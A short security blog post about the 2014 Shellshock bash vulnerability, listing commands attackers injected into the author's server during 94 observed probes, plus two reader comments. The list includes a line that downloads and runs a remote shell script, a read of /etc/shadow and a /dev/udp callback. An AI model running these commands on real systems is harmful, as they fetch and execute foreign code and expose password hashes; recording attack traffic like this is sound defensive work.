Some Personal Shellshock Stats

ShellsockIn April 2014, the Internet shivered when we faced the “heartbleed” bug in the OpenSSL library. It makes lot of noise across the security community and was even covered by regular media. Such issue could never happen again, right?

Never say never! Last week, a new storm in the Internet with “shellsock” or best known as CVE-2014-6271! This new bug affects the bash UNIX shell. The difference with heartbleed? When you compare them, heartbleed looses definitively its pole position on the top threats. It is very easy to exploit, it affects MANY applications or services that spawn other processes using call like system() on PHP or the well-know mod_cgi provided by Apache. Not only public websites can be affected by also some critical services like:

  • the ForceCommand feature in sshd
  • scripts executed by unspecified DHCP clients,
  • network access control serices

So, any service in which the environment is defined via a bash shell execution. If you need more info about this new threat, google for it!

Some security researchers and bloggers immediately started to scan the Internet to have a better idea of the impact of this vulnerability on public services. Of course, bad guy also started to do the same and my server was hit several times (94). Until today, I detected the following IP addresses:

Here is a list of commands/scripts tested:

/bin/ping -c 1
/bin/bash -c "echo testing9123123"; /bin/uname -a
/bin/bash -c "wget -O /tmp/sh;curl -o /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh"
echo -e "Content-Type: text/plain\\n"; echo qQQQQQq
/bin/cat /etc/shadow
echo shellshock-scan > /dev/udp/
/bin/bash -c "/usr/bin/wget -O /tmp/"
/bin/bash -c "wget -q -O /dev/null"
/bin/bash -c "wget -U BashNslash."
wget ''

Personally, I like the one which tries to use the built-in support of sockets via psuedo files like “/dev/[tcp|udp]/<host>/<port>“. This is a nice feature of bash but it is disabled on most distribution (for security reason presicely).


  1. @Rafael, the moment the news got out, people started to write scans. Most of the scans are just to see how much devices are vulnerable, in most cases they only do a ping back to the scanner. Other scans try to copy your paswd or other interesting files. And then there are also the scanners which download (e.g. with wget) a malicious shell and run it

  2. I almost fell of my chair seeing the last one (BruCON). You might want to check if you want to know more about it.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.